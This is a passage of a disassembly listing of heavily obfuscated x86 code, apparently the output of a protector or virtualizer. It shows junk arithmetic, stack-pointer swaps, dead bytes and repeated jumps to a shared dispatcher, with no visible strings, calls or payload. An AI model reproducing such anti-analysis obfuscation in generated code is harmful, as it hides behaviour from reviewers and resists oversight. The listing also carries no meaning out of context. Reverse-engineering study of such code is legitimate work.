		xor	[esp+0C6h+var_C8+2], ebp
		xor	ebp, [esp+0C6h+var_C8+2]
		mov	esp, [esp+0C6h+var_C8+2]
		jmp	loc_5ACB26
; ---------------------------------------------------------------------------


loc_5A4810:				; CODE XREF: sub_58A891+24E6Aj
		neg	esi
		shr	esi, 6
		sub	esi, 45E639C7h
		xor	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		sub	eax, edi
		mov	edi, [esp+0BEh+var_BE]
		add	esp, 4
		push	eax
		push	[esp+0BEh+var_BA]
		mov	eax, [esp+0C2h+var_C4+2]
		add	esp, 4
		pop	[esp+0BEh+var_BE]
		mov	esp, [esp+0BAh+var_BA]
		mov	[esp+0BAh+var_BA], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A4845:				; CODE XREF: sub_58A891+20EC5j
		sub	edi, ecx
		pop	ecx
		sub	edi, 77674666h
		add	edi, esi
		add	edi, 77674666h
		push	ebx
		push	28457DAAh
		jmp	loc_59F018
; ---------------------------------------------------------------------------


loc_5A4861:				; CODE XREF: sub_58A891+1AEDCj
					; sub_58A891+1CDC5j ...
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A4866:				; CODE XREF: sub_58A891+186A6j
					; sub_58A891+21E67j
		push	ebp
		mov	ebp, 0A30EB896h
		jmp	loc_59CE6D
; ---------------------------------------------------------------------------


loc_5A4871:				; CODE XREF: sub_58A891+171A2j
		add	eax, edi
		sub	eax, 39957C4Dh
		mov	edi, [esp+0DEh+var_E0+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0E2h+var_E4+2]
		pop	esp
		push	2EA1h
		mov	[esp+0E2h+var_E4+2], edx
		sub	esp, 4
		mov	[esp+0E6h+var_E8+2], eax
		mov	eax, 18F07A5h
		shr	eax, 6
		jp	loc_59C1CE
		jmp	loc_5A7031
; ---------------------------------------------------------------------------
		shl	eax, 2
		mov	bh, 0AFh


loc_5A48B5:				; CODE XREF: sub_58A891+12B40j
		push	ebp
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_59CFBF
; ---------------------------------------------------------------------------


loc_5A48C4:				; CODE XREF: sub_58A891+13F43j
					; sub_58A891+194F5j
		push	ecx
		mov	ch, 84h
		shl	ch, 1
		jmp	loc_5A5441
; ---------------------------------------------------------------------------


loc_5A48CE:				; CODE XREF: sub_58A891+1F268j
		sub	ecx, 7E351994h
		add	ecx, edx
		jmp	loc_5A5812
; ---------------------------------------------------------------------------


loc_5A48DB:				; CODE XREF: sub_58A891+139D3j
		add	edi, eax
		pop	eax
		add	edi, 2
		jmp	loc_5A81E7
; ---------------------------------------------------------------------------


loc_5A48E9:				; CODE XREF: sub_58A891+1A34Bj
		or	ebp, 9B07C6Ah
		not	ebp
		add	ebp, 2BBF7D70h
		jmp	loc_5A83BE
; ---------------------------------------------------------------------------


loc_5A48FC:				; CODE XREF: sub_58A891+1A864j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		xor	esi, 7FFF5A3Ch
		push	eax
		mov	eax, 0F11D7D1Dh
		xor	esi, eax
		pop	eax
		xor	eax, esi
		pop	esi
		xor	ebx, eax
		push	69CAh
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 2Ch
		push	edi
		push	eax
		push	0EC51709h
		jmp	loc_5AD6BD
; ---------------------------------------------------------------------------


loc_5A4935:				; CODE XREF: sub_58A891+23C1Bj
		jmp	loc_5A83F2
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+22h+var_24+2]
		push	edi
		jmp	loc_5ABDD2
; ---------------------------------------------------------------------------


loc_5A4944:				; CODE XREF: sub_58A891+221B6j
		xor	eax, 5BB0942h
		add	ecx, eax
		pop	eax
		xor	ecx, 23F08A83h
		sub	edi, 43B00BFDh
		add	edi, ecx
		add	edi, 43B00BFDh
		jmp	loc_59C6DD
; ---------------------------------------------------------------------------


loc_5A4965:				; CODE XREF: sub_58A891+16901j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A496A:				; CODE XREF: sub_58A891+1B7EAj
		mov	edi, 3589080Dh
		xor	eax, edi
		mov	edi, [esp+38h+var_38]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 18E85A2Eh
		shr	edx, 1
		add	edx, 22284E78h
		push	edx
		not	[esp+44h+var_46+2]
		jmp	loc_5AA5DE
; ---------------------------------------------------------------------------


loc_5A498E:				; CODE XREF: sub_58A891+1BA83j
		jns	loc_5B1262
		dec	ch
		jmp	loc_59FB40
; ---------------------------------------------------------------------------
		mov	ch, 90h
		pop	ecx


loc_5A499E:				; CODE XREF: sub_58A891:loc_5AEEC5j
		jmp	loc_5A0215
; ---------------------------------------------------------------------------


loc_5A49A3:				; CODE XREF: sub_58A891+13FBFj
		add	ebx, ebp
		pop	ebp
		add	edx, ebx
		jmp	loc_5A656F
; ---------------------------------------------------------------------------


loc_5A49AD:				; CODE XREF: sub_58A891+1A435j
		push	edi
		push	esi
		sub	esp, 4
		jmp	loc_5ABF40
; ---------------------------------------------------------------------------


loc_5A49BA:				; CODE XREF: sub_58A891+15730j
		add	esi, edx
		mov	edx, [esp+36h+var_38+2]
		add	esp, 4
		push	ebx
		mov	ebx, 479907ACh
		sub	ebx, 19AD1F13h
		jns	loc_5B183D
		dec	ebx
		jmp	loc_5AFC2C
; ---------------------------------------------------------------------------
		mov	[esp+36h+var_38+2], ecx
		push	esi
		push	6CD41C71h
		mov	ax, word ptr [esp+3Eh+var_40+2]
		push	3235h
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_5A813A
; ---------------------------------------------------------------------------


loc_5A49FA:				; CODE XREF: sub_58A891+26346j
		sub	esp, 4
		mov	[esp+4Ah+var_4A], esp
		add	[esp+4Ah+var_4A], 4
		jmp	loc_59F203
; ---------------------------------------------------------------------------


loc_5A4A0C:				; CODE XREF: sub_58A891+197B1j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+0C2h+var_BE]
		pop	eax
		jmp	loc_5A964D
; ---------------------------------------------------------------------------


loc_5A4A24:				; CODE XREF: sub_58A891+14C1Bj
					; sub_58A891+1ADB3j
		push	edx
		mov	edx, 2E723619h
		add	[esp+8Ah+var_86], 415C32AAh
		sub	[esp+8Ah+var_86], edx
		sub	[esp+8Ah+var_86], 415C32AAh
		pop	edx
		push	edx
		mov	edx, 76AA5E08h
		push	408Ch
		mov	[esp+8Eh+var_8E], eax
		jmp	loc_5B24ED
; ---------------------------------------------------------------------------


loc_5A4A52:				; CODE XREF: sub_58A891+11FD1j
		push	esi
		mov	esi, 45B964BDh
		jmp	loc_5A4628
; ---------------------------------------------------------------------------


loc_5A4A5D:				; CODE XREF: sub_58A891+142BDj
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 7E6628C9h
		neg	ecx
		shr	ecx, 1
		neg	ecx
		sub	ecx, 536B0F70h
		jmp	loc_5A7EFD
; ---------------------------------------------------------------------------


loc_5A4A7E:				; CODE XREF: sub_58A891+22221j
		mov	ecx, edi
		pop	edi
		mov	edx, [esp+82h+var_82]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp+7Eh+var_7E]
		add	esp, 4
		jmp	loc_5AD60C
; ---------------------------------------------------------------------------


loc_5A4A97:				; CODE XREF: sub_58A891+184BBj
					; sub_58A891+1E3EEj
		xchg	ebx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], eax
		sub	[esp+44h+var_46+2], 31715F49h
		pop	ebx
		add	ebx, 31715F49h
		mov	eax, [esp+40h+var_40]
		jmp	loc_5A85D4
; ---------------------------------------------------------------------------


loc_5A4AB4:				; CODE XREF: sub_58A891:loc_5AF5FAj
		xchg	eax, esi
		jmp	loc_59D221
; ---------------------------------------------------------------------------


loc_5A4ABA:				; CODE XREF: sub_58A891+1F305j
		mov	eax, [esp+40h+var_40]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+44h+var_46+2]
		pop	esp
		push	ecx
		push	esp
		jmp	loc_5AE76F
; ---------------------------------------------------------------------------


loc_5A4AD4:				; CODE XREF: sub_58A891+16DAFj
		mov	ebx, 71EB4719h
		neg	ebx
		jmp	loc_59DFC5
; ---------------------------------------------------------------------------


loc_5A4AE0:				; CODE XREF: sub_58A891+126FEj
		sub	ebp, 4094758Ch
		pop	edi
		push	edx
		jmp	loc_5ADD92
; ---------------------------------------------------------------------------


loc_5A4AED:				; CODE XREF: sub_58A891+24132j
		mov	[esp+0], ebp
		sub	dword ptr [esp+0], 1F626A72h
		pop	edi
		add	edi, 1F626A72h
		jmp	loc_5A1357
; ---------------------------------------------------------------------------


loc_5A4B03:				; CODE XREF: sub_58A891+2206Fj
		add	eax, 1F740265h
		sub	eax, edx
		sub	eax, 1F740265h
		pop	edx
		push	[esp+6Eh+var_70+2]
		jmp	loc_5A6622
; ---------------------------------------------------------------------------


loc_5A4B18:				; CODE XREF: sub_58A891+257A2j
					; sub_58A891+2593Ej
		mov	[esp+72h+var_74+2], ebp
		mov	ebp, 0A5147CDBh
		sub	ebx, ebp
		pop	ebp
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_5A849A
; ---------------------------------------------------------------------------


loc_5A4B2D:				; CODE XREF: sub_58A891+238D3j
		sub	edi, 5C603285h
		mov	ecx, edi
		pop	edi
		sub	esi, ecx
		jmp	loc_5AE338
; ---------------------------------------------------------------------------


loc_5A4B3D:				; CODE XREF: sub_58A891+268BFj
		push	eax
		mov	eax, 7BAA41BCh
		xor	ebp, eax
		pop	eax
		sub	edx, ebp
		pop	ebp
		sub	edx, 7E1650EDh
		sub	edx, ebx
		jmp	loc_5B055A
; ---------------------------------------------------------------------------


loc_5A4B56:				; CODE XREF: sub_58A891+17247j
		sub	esp, 4
		jmp	loc_5A5558
; ---------------------------------------------------------------------------


loc_5A4B61:				; CODE XREF: sub_58A891+24469j
		push	dword ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A4B68:				; CODE XREF: sub_58A891+1408Ej
		add	[esp+84h+var_86+2], 4
		pop	ecx
		jmp	loc_5A582D
; ---------------------------------------------------------------------------


loc_5A4B75:				; CODE XREF: sub_58A891+1B02Ej
		add	esp, 4
		jmp	loc_5A9BEB
; ---------------------------------------------------------------------------


loc_5A4B7D:				; CODE XREF: sub_58A891+286A0j
		pop	edi
		add	ecx, ebx
		add	dword ptr [ecx], 1
		pop	ecx
		mov	ebx, [esp+74h+var_74]
		jmp	loc_5A0713
; ---------------------------------------------------------------------------


loc_5A4B8F:				; CODE XREF: sub_58A891+127F0j
		mov	[esp+7Ah+var_7A], edx
		mov	edx, 6D2D6F2Bh
		shr	edx, 8
		xchg	esi, edx
		not	esi
		jmp	loc_5AEE95
; ---------------------------------------------------------------------------


loc_5A4BA3:				; CODE XREF: sub_58A891+14CEEj
		push	ebx
		not	[esp-0Eh+arg_4+2]
		mov	ebx, [esp-0Eh+arg_4+2]
		jmp	loc_5AF770
; ---------------------------------------------------------------------------


loc_5A4BAF:				; CODE XREF: sub_58A891+150E1j
					; sub_58A891+22984j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_59C526
; ---------------------------------------------------------------------------


loc_5A4BBD:				; CODE XREF: sub_58A891+24BEEj
		sub	ebp, 2D0A3FC2h
		push	ebp
		jmp	loc_5AD523
; ---------------------------------------------------------------------------


loc_5A4BC9:				; CODE XREF: sub_58A891:loc_5AF877j
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		or	ebx, 6297610h
		jmp	loc_5AF48B
; ---------------------------------------------------------------------------


loc_5A4BDA:				; CODE XREF: sub_58A891+254D2j
		pop	esi
		pop	edi
		jmp	loc_5A48E9
; ---------------------------------------------------------------------------


loc_5A4BE1:				; CODE XREF: sub_58A891+2379Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-12h+arg_8+2]
		mov	esp, [esp-12h+arg_8+2]
		mov	[esp-12h+arg_8+2], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-0Eh+arg_4+2], ecx
		push	2EFCh
		mov	[esp-0Ah+arg_0+2], ebp
		mov	ebp, 6D6F6AEBh
		sub	ebp, 564D3F35h
		jmp	loc_5AC548
; ---------------------------------------------------------------------------


loc_5A4C16:				; CODE XREF: sub_58A891+21AC3j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A5064
; ---------------------------------------------------------------------------


loc_5A4C24:				; CODE XREF: sub_58A891+23577j
		mov	esi, 0FF861F1h
		neg	esi
		jnp	loc_59E3AC
		dec	esi
		jmp	loc_5A1CBA
; ---------------------------------------------------------------------------


loc_5A4C37:				; CODE XREF: sub_58A891+1EEDDj
		sub	eax, 4
		jmp	loc_5A2581
; ---------------------------------------------------------------------------


loc_5A4C3F:				; CODE XREF: sub_58A891+11922j
					; sub_58A891+13625j
		dec	esi
		push	ebx
		mov	ebx, 522C556Ah
		and	esi, ebx
		pop	ebx
		sub	esi, 0CFF79424h
		push	edi
		push	esi
		jmp	loc_5A695F
; ---------------------------------------------------------------------------


loc_5A4C56:				; CODE XREF: sub_58A891+1A452j
					; sub_58A891+21CB2j
		xor	cl, 93h
		neg	cl
		xchg	bl, cl
		not	bl
		xchg	bl, cl
		xor	cl, 0F4h
		add	cl, 1Dh
		add	al, cl
		pop	ecx
		push	ecx
		jmp	loc_5A3908
; ---------------------------------------------------------------------------


loc_5A4C70:				; CODE XREF: sub_58A891+25BC0j
		mov	[esp+2+var_4+2], eax
		push	[esp+2+var_4+2]
		mov	eax, [esp+6+var_8+2]
		push	eax
		push	3E5Bh
		mov	[esp+0Eh+var_10+2], esp
		add	[esp+0Eh+var_10+2], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ah+var_C+2]
		pop	esp
		push	176h
		mov	[esp+0Ah+var_C+2], esi
		mov	esi, esp
		jmp	loc_5A66EA
; ---------------------------------------------------------------------------


loc_5A4CA2:				; CODE XREF: sub_58A891:loc_5A17CFj
		sub	edi, 6EFC3EE4h
		jp	loc_5B2F29
		xor	edi, 6C19B0F5h
		mov	ecx, edi
		jmp	loc_5ADDE4
; ---------------------------------------------------------------------------
		mov	cl, ah


loc_5A4CBD:				; CODE XREF: sub_58A891+1E50Dj
		mov	esi, [esp+8Ah+var_8A]
		add	esp, 4
		jmp	loc_5A49AD
; ---------------------------------------------------------------------------


loc_5A4CCB:				; CODE XREF: sub_58A891+1E635j
		mov	[esp+86h+var_86], ecx
		push	esp
		pop	ecx
		jmp	loc_5ADE00
; ---------------------------------------------------------------------------


loc_5A4CD5:				; CODE XREF: sub_58A891+15614j
		lodsd
		jmp	loc_5AD1D7
; ---------------------------------------------------------------------------


loc_5A4CDB:				; CODE XREF: sub_58A891+26393j
		sub	edi, 0CD806F00h
		mov	ebp, edi
		jmp	loc_5A4C56
; ---------------------------------------------------------------------------


loc_5A4CE8:				; CODE XREF: sub_58A891+2548Fj
		mov	ebp, 6FCF6CE3h
		jmp	loc_5AA481
; ---------------------------------------------------------------------------


loc_5A4CF2:				; CODE XREF: sub_58A891+15DA6j
		shl	edi, 3
		neg	edi
		dec	edi
		jp	loc_5A148E
		jmp	loc_5A0A9F
; ---------------------------------------------------------------------------


loc_5A4D03:				; CODE XREF: sub_58A891+1C23Fj
		mov	edx, ebx
		jmp	loc_5A710F
; ---------------------------------------------------------------------------


loc_5A4D0A:				; CODE XREF: sub_58A891+181C4j
		mov	edx, [esp-12h+arg_8+2]
		jmp	loc_59CBAF
; ---------------------------------------------------------------------------


loc_5A4D12:				; CODE XREF: sub_58A891+246BFj
		push	2B36h
		mov	[esp-0Eh+arg_4+2], ebx
		push	[esp-0Eh+arg_8+2]
		push	[esp-0Ah+arg_0+2]
		pop	ebx
		add	esp, 4
		pop	[esp-0Eh+arg_4+2]
		jmp	loc_5AEA1B
; ---------------------------------------------------------------------------


loc_5A4D30:				; CODE XREF: sub_58A891+27580j
		push	esi
		jmp	loc_5A6269
; ---------------------------------------------------------------------------


loc_5A4D36:				; CODE XREF: sub_58A891+1277Bj
					; sub_58A891+24D70j
		mov	esi, 42912503h
		or	esi, 1C10296Ch
		jmp	loc_5A20E1
; ---------------------------------------------------------------------------


loc_5A4D46:				; CODE XREF: sub_58A891+1E315j
		jp	loc_5A817A
		shl	bl, 8
		jp	loc_59F871
		mov	bl, al
		mov	edi, ecx


loc_5A4D59:				; CODE XREF: sub_58A891+1B490j
		sub	edx, 58E2E6A6h
		or	ecx, edx
		pop	edx
		or	ecx, 2BCF1998h
		neg	ecx
		add	ecx, 0B0EDF4A6h
		sub	ebp, ecx
		pop	ecx
		pop	edx
		push	eax
		jmp	loc_5ACEAE
; ---------------------------------------------------------------------------


loc_5A4D7A:				; CODE XREF: sub_58A891+13B1Cj
		jge	loc_5A4309
		jmp	loc_5AF44A
; ---------------------------------------------------------------------------


loc_5A4D85:				; CODE XREF: sub_58A891+1A6F7j
		pop	edx
		jmp	loc_5A875E
; ---------------------------------------------------------------------------


loc_5A4D8B:				; CODE XREF: sub_58A891+1959Fj
		push	[esp-16h+arg_E]
		push	[esp-12h+arg_8+2]
		mov	edx, [esp-0Eh+arg_4+2]
		add	esp, 4
		push	esi
		jmp	loc_5ACFFD
; ---------------------------------------------------------------------------


loc_5A4D9D:				; CODE XREF: sub_58A891+20501j
		mov	dh, 1Eh
		or	dh, 0AAh
		push	cx
		mov	cl, 2
		sub	dh, cl
		pop	cx
		xor	cl, dh
		pop	edx
		push	2B5Ch
		jmp	loc_5A3AB7
; ---------------------------------------------------------------------------


loc_5A4DB7:				; CODE XREF: sub_58A891+1C71Ej
		pop	esp
		mov	[esp-12h+arg_8+2], ebx
		mov	ebx, 3E6D1400h
		xor	ebx, 538076DBh
		dec	ebx
		push	esi
		push	edi
		jmp	loc_59C554
; ---------------------------------------------------------------------------


loc_5A4DCE:				; CODE XREF: sub_58A891+1FAE4j
		or	ecx, 58AF32E2h
		jbe	loc_5AC20B
		add	ecx, 932D31CAh
		xor	ecx, 1D5D047Ah
		jmp	loc_5A6D09
; ---------------------------------------------------------------------------


loc_5A4DEB:				; CODE XREF: sub_58A891+19B2Cj
		mov	edx, 8BF01B7h
		mov	edi, edx
		pop	edx
		jmp	loc_5A1AED
; ---------------------------------------------------------------------------


loc_5A4DF8:				; CODE XREF: sub_58A891+1A9F4j
		sub	bh, 0A6h
		and	bh, 0C2h
		xor	bh, 3Bh
		push	ecx
		jmp	loc_5AA6F5
; ---------------------------------------------------------------------------


loc_5A4E07:				; CODE XREF: sub_58A891+254C2j
		push	[esp+0A8h+var_AA+2]
		jmp	loc_5A253A
; ---------------------------------------------------------------------------


loc_5A4E0F:				; CODE XREF: sub_58A891+1782Dj
		push	[esp+8Ch+var_8A+2]
		mov	ecx, [esp+90h+var_92+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+94h+var_96+2]
		pop	esp
		pop	[esp+90h+var_92+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+8Ch+var_8E+2], ebx
		push	eax
		jmp	loc_5B0AF7
; ---------------------------------------------------------------------------


loc_5A4E3A:				; CODE XREF: sub_58A891+269F7j
		xor	edi, 1FB85F4Ch
		xor	ebx, edi
		pop	edi
		and	edx, ebx
		jmp	loc_5B13D5
; ---------------------------------------------------------------------------


loc_5A4E4A:				; CODE XREF: sub_58A891+21B64j
		mov	edx, [esp+8Ch+var_8E+2]
		add	esp, 4
		push	edi
		mov	edi, 55B03B79h
		sub	edi, 55B03B75h
		jmp	loc_5B0DF6
; ---------------------------------------------------------------------------


loc_5A4E64:				; CODE XREF: sub_58A891+1DA2Fj
					; sub_58A891+24DE7j
		sub	esi, 49224584h
		shr	esi, 7
		jmp	loc_59EF36
; ---------------------------------------------------------------------------


loc_5A4E72:				; CODE XREF: sub_58A891+1A696j
		push	40BEh
		mov	[esp+90h+var_92+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 63AE7EE2h
		push	esi
		mov	esi, 13084F2Bh
		jmp	loc_59E4C5
; ---------------------------------------------------------------------------


loc_5A4E93:				; CODE XREF: sub_58A891+20962j
		not	esi
		or	esi, 3765357Bh
		xor	esi, 2C11562Ch
		mov	ecx, esi
		pop	esi
		xor	ecx, 1EC542C8h
		sub	eax, ecx
		pop	ecx
		push	155Ah
		mov	[esp+94h+var_96+2], ebx
		mov	ebx, 58350335h
		sub	eax, ebx
		pop	ebx
		mov	ebp, [esp+90h+var_92+2]
		jmp	loc_5A7E95
; ---------------------------------------------------------------------------


loc_5A4EC5:				; CODE XREF: sub_58A891:loc_5AB989j
		sub	esi, 93FD28C9h
		shl	esi, 5
		shl	esi, 1
		js	loc_5AB1AE
		add	esi, 9B0FA3CAh
		jmp	loc_5A011A
; ---------------------------------------------------------------------------


loc_5A4EE1:				; CODE XREF: sub_58A891+2610Ej
		add	esp, 4
		push	[esp+8Ch+var_8E+2]
		pop	eax
		add	esp, 4
		push	7E70h
		mov	[esp+8Ch+var_8E+2], ebp
		mov	ebp, 18932599h
		push	esi
		mov	esi, 58350335h
		add	eax, 4F895031h
		add	eax, esi
		sub	eax, 4F895031h
		pop	esi
		jmp	loc_5A4FE9
; ---------------------------------------------------------------------------


loc_5A4F13:				; CODE XREF: sub_58A891+162A8j
		add	eax, 2
		jmp	loc_5A2F57
; ---------------------------------------------------------------------------


loc_5A4F1B:				; CODE XREF: sub_58A891+278DBj
		add	esp, 4
		add	esp, 4
		jmp	loc_5A4E72
; ---------------------------------------------------------------------------


loc_5A4F2C:				; CODE XREF: sub_58A891+2516Dj
		mov	ecx, esp
		push	ebp
		mov	ebp, 1CE66FD9h
		jmp	loc_5A8553
; ---------------------------------------------------------------------------


loc_5A4F39:				; CODE XREF: sub_58A891+1704Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		sub	ecx, ebx
		pop	ebx
		add	ecx, 8F14AEE0h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+0]
		pop	esp
		mov	cx, word ptr [esp-0Ah+arg_0+2]
		push	eax
		mov	eax, esp
		jmp	loc_59EC4B
; ---------------------------------------------------------------------------


loc_5A4F65:				; CODE XREF: sub_58A891+1DC26j
					; sub_58A891+23935j
		push	29DC6C79h
		mov	ecx, [esp+0]
		jmp	loc_59F096
; ---------------------------------------------------------------------------


loc_5A4F72:				; CODE XREF: sub_58A891+130EDj
		mov	[esp+86h+var_86], edi
		push	6247B93Ch
		pop	edi
		sub	eax, 53630C5Eh
		push	edx
		mov	edx, 74865C2Dh
		sub	eax, edx
		jmp	loc_5A4D85
; ---------------------------------------------------------------------------


loc_5A4F8D:				; CODE XREF: sub_58A891+25177j
		sub	[esp+8Ah+var_8A], 791C28D2h
		pop	esi
		add	esi, 791C28D2h
		pop	ecx
		pop	ebp
		neg	esi
		jo	loc_59E794
		sub	esi, 64E90EF0h
		jmp	loc_59CC36
; ---------------------------------------------------------------------------


loc_5A4FB0:				; CODE XREF: sub_58A891+1DC8Dj
		neg	ebx
		push	esi
		mov	esi, 1
		add	ebx, esi
		mov	esi, [esp+82h+var_82]
		jmp	loc_5A8093
; ---------------------------------------------------------------------------


loc_5A4FC2:				; CODE XREF: sub_58A891:loc_59CBCEj
		jmp	loc_5AC300
; ---------------------------------------------------------------------------


loc_5A4FC7:				; CODE XREF: sub_58A891+18417j
		push	42C5h
		mov	[esp+48h+var_4A+2], ebx
		mov	ebx, esp
		push	ecx
		push	26BC1EC3h
		mov	ecx, [esp+0]
		add	esp, 4
		sub	ecx, 755771E3h
		push	eax
		jmp	loc_59E9A0
; ---------------------------------------------------------------------------


loc_5A4FE9:				; CODE XREF: sub_58A891+1A67Dj
		add	eax, 4D2B2B1Bh
		add	eax, ebp
		push	2D7Ah
		mov	[esp+90h+var_92+2], ecx
		push	esi
		push	34C818A0h
		jmp	loc_5AB1EF
; ---------------------------------------------------------------------------


loc_5A5003:				; CODE XREF: sub_58A891+15640j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5008:				; CODE XREF: sub_58A891+20E33j
		or	ecx, 0F4D0E30h
		jge	loc_59E7CD
		inc	ecx
		jge	loc_5A979D
		mov	al, 0C1h
		mov	ch, 0ABh


loc_5A501F:				; CODE XREF: sub_58A891+25E72j
		cmp	ecx, eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5027:				; CODE XREF: sub_58A891+1E3E5j
		shr	ebx, 6
		jmp	loc_5A8155
; ---------------------------------------------------------------------------


loc_5A502F:				; CODE XREF: sub_58A891+18DB2j
		pop	[esp+2Ch+var_2C]
		pop	esp
		jmp	loc_5ADED2
; ---------------------------------------------------------------------------


loc_5A5038:				; CODE XREF: sub_58A891+130A3j
		mov	eax, 54104092h
		add	eax, 36B9640Fh
		sub	eax, ecx
		sub	eax, 36B9640Fh
		mov	ecx, [esp+8Eh+var_8E]
		jmp	loc_5A5DE7
; ---------------------------------------------------------------------------


loc_5A5051:				; CODE XREF: sub_58A891+19ACDj
		add	ebx, edx
		push	eax
		mov	eax, 72932BDFh
		shl	eax, 4
		shr	eax, 1
		inc	eax
		jmp	loc_5ADCA5
; ---------------------------------------------------------------------------


loc_5A5064:				; CODE XREF: sub_58A891+1A38Ej
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5A856D
; ---------------------------------------------------------------------------


loc_5A506F:				; CODE XREF: sub_58A891+12D95j
		mov	[esp+0], ecx
		mov	ch, 6Fh
		jmp	loc_59D7BE
; ---------------------------------------------------------------------------


loc_5A5079:				; CODE XREF: sub_58A891+16739j
		xor	esi, 69F15720h
		shl	esi, 6
		shr	esi, 3
		not	esi
		push	ebx
		mov	ebx, 6CA260B3h
		dec	ebx
		or	ebx, 3EFB0E8Dh
		push	ecx
		jmp	loc_59E93D
; ---------------------------------------------------------------------------


loc_5A509A:				; CODE XREF: sub_58A891+1673Fj
		add	ecx, edx
		jmp	loc_5A8D92
; ---------------------------------------------------------------------------


loc_5A50A1:				; CODE XREF: sub_58A891+128AAj
		mov	dl, 0A0h
		inc	dl
		dec	dl
		xor	dl, 43h
		push	ebx
		mov	bh, 20h
		add	bh, 4Fh
		shl	bh, 8
		shl	bh, 7
		dec	bh
		add	bh, 87h
		sub	bh, 6Ch
		add	al, bh
		mov	ebx, [esp+82h+var_82]
		add	esp, 4
		add	al, dl
		push	70DAh
		mov	[esp+82h+var_82], ebx
		mov	bh, 0DCh
		shr	bh, 1
		push	6B28h
		jmp	loc_5AFD02
; ---------------------------------------------------------------------------


loc_5A50DE:				; CODE XREF: sub_58A891+168B6j
		inc	eax
		xor	eax, 3B6679D4h
		add	esi, eax
		pop	eax
		jmp	loc_5A2D9D
; ---------------------------------------------------------------------------


loc_5A50EC:				; CODE XREF: sub_58A891+21D41j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_5A48FC
; ---------------------------------------------------------------------------


loc_5A50FA:				; CODE XREF: sub_58A891+18FC8j
		pop	esi
		jmp	loc_5A377E
; ---------------------------------------------------------------------------


loc_5A5100:				; CODE XREF: sub_58A891+1E557j
		add	eax, edx
		jmp	loc_5A2C6F
; ---------------------------------------------------------------------------


loc_5A5107:				; CODE XREF: sub_58A891+21E4Fj
		shr	ecx, 1
		sub	ecx, 1
		xor	ecx, 303901A9h
		add	esi, ecx
		pop	ecx
		jmp	loc_59C598
; ---------------------------------------------------------------------------


loc_5A511A:				; CODE XREF: sub_58A891:loc_5A082Dj
		sub	edi, 5C603285h
		mov	ecx, edi
		pop	edi
		sub	esi, ecx
		jmp	loc_59D983
; ---------------------------------------------------------------------------


loc_5A512A:				; CODE XREF: sub_58A891+1D709j
		and	edx, 7D646B35h
		xor	edx, 2D12759Ah
		jmp	loc_5A6468
; ---------------------------------------------------------------------------


loc_5A513B:				; CODE XREF: sub_58A891+1B970j
		sub	ebp, 28524CA9h
		add	ebp, edi
		add	ebp, 28524CA9h
		jmp	loc_5AC7DF
; ---------------------------------------------------------------------------


loc_5A514E:				; CODE XREF: sub_58A891+157F5j
		add	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp-0Eh+arg_4+2]
		jmp	loc_5A5D3E
; ---------------------------------------------------------------------------


loc_5A5162:				; CODE XREF: sub_58A891+175E6j
		push	esi
		jmp	loc_5B1F4D
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+82h+var_82]
		push	6407h
		mov	[esp+86h+var_86], ebp
		push	esp
		mov	ebp, [esp+8Ah+var_8A]
		jmp	loc_59F91E
; ---------------------------------------------------------------------------


loc_5A517D:				; CODE XREF: sub_58A891+20B94j
		push	ecx
		pop	esi
		pop	ecx
		not	ecx
		jmp	loc_59E238
; ---------------------------------------------------------------------------


loc_5A5187:				; CODE XREF: sub_58A891+23002j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+86h+var_86]
		mov	esp, [esp+86h+var_86]
		jmp	loc_59D99D
; ---------------------------------------------------------------------------


loc_5A519B:				; CODE XREF: sub_58A891:loc_5A8420j
					; sub_58A891+274F6j
		add	ecx, 0CC8150Fh
		add	edx, 233E5172h
		add	edx, ecx
		push	eax
		mov	eax, 7A1E3B10h
		shl	eax, 6
		neg	eax
		dec	eax
		add	eax, 1C657428h
		inc	eax
		sub	eax, 71985EB6h
		sub	edx, eax
		jmp	loc_5B2EEB
; ---------------------------------------------------------------------------


